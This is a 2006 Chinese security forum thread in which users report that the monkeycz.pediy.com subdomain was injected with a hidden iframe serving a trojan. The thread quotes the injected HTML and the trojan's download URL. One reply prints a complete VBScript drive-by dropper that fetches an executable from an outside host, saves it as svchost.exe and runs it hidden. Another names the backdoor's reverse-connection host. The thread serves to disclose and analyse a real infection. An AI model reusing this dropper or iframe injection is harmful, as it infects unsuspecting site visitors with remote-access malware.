首页
社区
课程
招聘
monkeycz.pediy.com被人挂马了哈.
发表于: 2006-9-1 17:43 4150

monkeycz.pediy.com被人挂马了哈.

2006-9-1 17:43
4150
今天机器突然不能打开看雪论坛了.百度一搜索.找到了下面的域名
http://monkeycz.pediy.com/

说了好久还没解决问题,.

图我就不发了.
自动下载程序:
http://www.gx-gm.com/admin/3322.exe
有兴趣的可以分析下了.
菜鸟挂的马.没技术含量...
我们看他底部的代码...
白痴都能看的懂,,
如果XXX人看着不爽,别K我.算我多管闲事

          版权所有 (c) 2004-2006 monkeycz. 保留所有权利<br>
          copyright(c) 2004-2006 monkeycz.all rights reserved</font> </div>    </td>
  </tr>
</table>
<tr align=center>
<script language="JavaScript" type="text/javascript" src="http://ww.50bang.com/click.js?user_id=200643">
</script>
</tr>
</center>

</body>
<iframe src="http://www.gx-gm.com/admin/index.htm" width="0" height="0" scrolling="no" frameborder="0"></iframe>

</html>

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (9)
雪    币: 47147
活跃值: (20380)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
2
谢谢你告知,这二级域名是送给monkeycz用了,monkeycz会处理的。
2006-9-1 17:50
0
雪    币: 370
活跃值: (15)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
3
现在还没改过来,我特意浏览了下,好像没什么事情发生

黑客动画吧
www.hack58.com
2006-9-1 18:13
0
雪    币: 14870
活跃值: (4663)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
4
下了半天那个马也没下下来...连接不上.
2006-9-1 18:19
0
雪    币: 208
活跃值: (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
最初由 快雪时晴 发布
现在还没改过来,我特意浏览了下,好像没什么事情发生


0614 MS漏洞利用的.你打了补定肯定什么都没发生拉.
2006-9-1 18:52
0
雪    币: 208
活跃值: (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
最初由 LOCKLOSE 发布
下了半天那个马也没下下来...连接不上.

BS马甲.拖出去砍了
是个灰鸽子.我研究了下
2006-9-1 18:52
0
雪    币: 401
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
反向地址是 adminia.3322.org
2006-9-2 10:46
0
雪    币: 234
活跃值: (104)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
就我的理解,浏览器的功能应限定为下载东西,然后显示出来即可,不知道ms为什么会支持网页代码执行Q.ShellExecute之类危险的操作。

<SCRIPT language=VBScript>
    on error resume next
    dl = "http://www.gx-gm.com/admin/3322.exe"
    Set df = document.createElement("object")
    df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
    str="Microsoft.XMLHTTP"
    Set x = df.CreateObject(str,"")
    a1="Ado"
    a2="db."
    a3="Str"
    a4="eam"
    str1=a1&a2&a3&a4
    str5=str1
    set S = df.createobject(str5,"")
    S.type = 1
    str6="GET"
    x.Open str6, dl, False
    x.Send
    fname1="svchost.exe"
    set F = df.createobject("Scripting.FileSystemObject","")
    set tmp = F.GetSpecialFolder(2)
    S.open
    fname1= F.BuildPath(tmp,fname1)
   
    S.write x.responseBody
    S.savetofile fname1,2
    S.close
    set Q = df.createobject("Shell.Application","")
    Q.ShellExecute fname1,"","","open",0
    </SCRIPT>
2006-9-2 20:27
0
雪    币: 200
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
可惜我没遇到
2006-9-3 09:08
0
雪    币: 1223
活跃值: (469)
能力值: (RANK:460 )
在线值:
发帖
回帖
粉丝
10
最初由 fslove 发布
今天机器突然不能打开看雪论坛了.百度一搜索.找到了下面的域名
http://monkeycz.pediy.com/

说了好久还没解决问题,.

........

非常感谢你的提醒。

整站已经重新更新过了,我测试了一下,应该没有挂马的地方了。

现在网站已经恢复正常。如果有哪位朋友发现异常,麻烦通知我一声,先谢过了。
2006-9-3 16:45
0
游客
登录 | 注册 方可回帖
返回
//